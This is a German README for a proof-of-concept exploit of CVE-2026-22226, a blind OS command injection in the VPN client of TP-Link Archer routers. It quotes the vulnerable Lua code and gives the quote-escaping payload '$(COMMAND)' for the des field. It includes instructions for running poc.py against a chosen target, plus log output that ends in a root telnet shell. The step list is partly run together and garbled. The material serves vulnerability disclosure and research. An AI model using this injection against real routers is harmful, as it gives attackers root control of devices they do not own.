
Proof-of-Concept für die CVE-2026-22226
Proof of Concept für CVE-2026-22226
Authentifizierte OS-Befehlsinjektion auf der LAN-Seite im VPN-Client von TP-Link-Archer-WLAN-Routern
Der VPN-Client-Controller speichert die benutzergesteuerte Eintragsbeschreibung (des) in der UCI-Konfiguration mit einem schwachen Validierungs-Regex. Wenn der Eintrag später erneut gelesen wird (während der Bearbeitung im WebUI), interpoliert get_ovpn_data() des ohne Bereinigung in einen in Anführungszeichen gesetzten Shell-Befehl, der an os.execute() übergeben wird:
-- get_ovpn_data() in vpn.lua
file_ovpn_path_local = string.format("/etc/openvpn/%s%s", des_name, ".ovpn")
cmd = string.format("echo '%s' > %s", file_ovpn_path_local, EXIST_OVPN_CURR_EDIT)
os.execute(cmd)
Das einfache Anführungszeichen (') besteht die Validierungs-Regex und reicht aus, um aus der Shell-Quotierung auszubrechen und Befehle über die $()-Substitution einzuschleusen. Ein des-Feld mit dem Wert '$(COMMAND)' verwandelt den Befehl in:
echo '/etc/openvpn/'$(COMMAND)'.ovpn' > /tmp/ovpn_curr_edit
Zu beachten ist, dass die Befehlsausgabe nie in der HTTP-Antwort zurückgegeben wird, die Injektion also blind ist. Deshalb wird ein Out-of-Band-Kanal benötigt (hier startet das PoC-Skript einen telnetd-Server, um eine interaktive Shell zu erhalten).
[!Note] Ich habe dieses Skript nur auf einem TP-Link Archer AX73 (AX5400, HW v2.0 EU, FW v1.2.1 – Build 20250717) getestet, aber andere Archer-Geräte sind vermutlich ebenfalls anfällig.
Dieser PoC folgt diesem Ablauf:
admin.ovpn-Konfigurationsdateides-Feld, das den einfachen Anführungszeichen-Kontext verlässt und die Payload über eine Befehlssubstitution einschleustget_ovpn_data() durch erneutes Lesen des Eintrags, wodurch das manipulierte des an os.execute() übergeben wird[!Warning] Die Ausnutzung dieser Schwachstelle führt zur Ausführung von OS-Befehlen als
rootauf dem Router (vollständige Kompromittierung des Geräts) und umgeht diedes-Eingabevalidierung über das erlaubte einfache Anführungszeichen.
Die Python-Abhängigkeiten sind direkt im Skript deklariert, sodass Sie es direkt mit einem modernen Python-Projektmanager ausführen oder sie manuell mit pip installieren können:
# using pipx
pipx run poc.py
# using uv
uv run poc.py
# using pip (legacy) then run with python
pip install requests pycryptodome
python poc.py
legen Sie die Ziel-IP, Anmeldedaten und Payload in poc.py fest
führen Sie das Skript aus:
$ pipx run poc.py
INFO:__main__:TP-Link Archer Exploit PoC
INFO:__main__:Authentication ...
INFO:__main__:Authentication ... OK
INFO:__main__:Uploading .ovpn ...
INFO:__main__:Uploading .ovpn ... OK
INFO:__main__:Inserting VPN entry ...
INFO:__main__:Inserting VPN entry ... OK
INFO:__main__:Triggering command injection ...
INFO:__main__:Triggering command injection ... OK
INFO:__main__:Cleaning up ...
INFO:__main__:Cleaning up ... OK
telnetd-Server:$ telnet 192.168.0.1 1337
BusyBox v1.19.4 (2025-07-17 10:58:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/www # id
uid=0(root) gid=0(root)
/www # uname -a
Linux Archer AX73 4.19.183 #1 SMP PREEMPT Thu Jul 17 10:22:47 CST 2025 armv7l GNU/Linux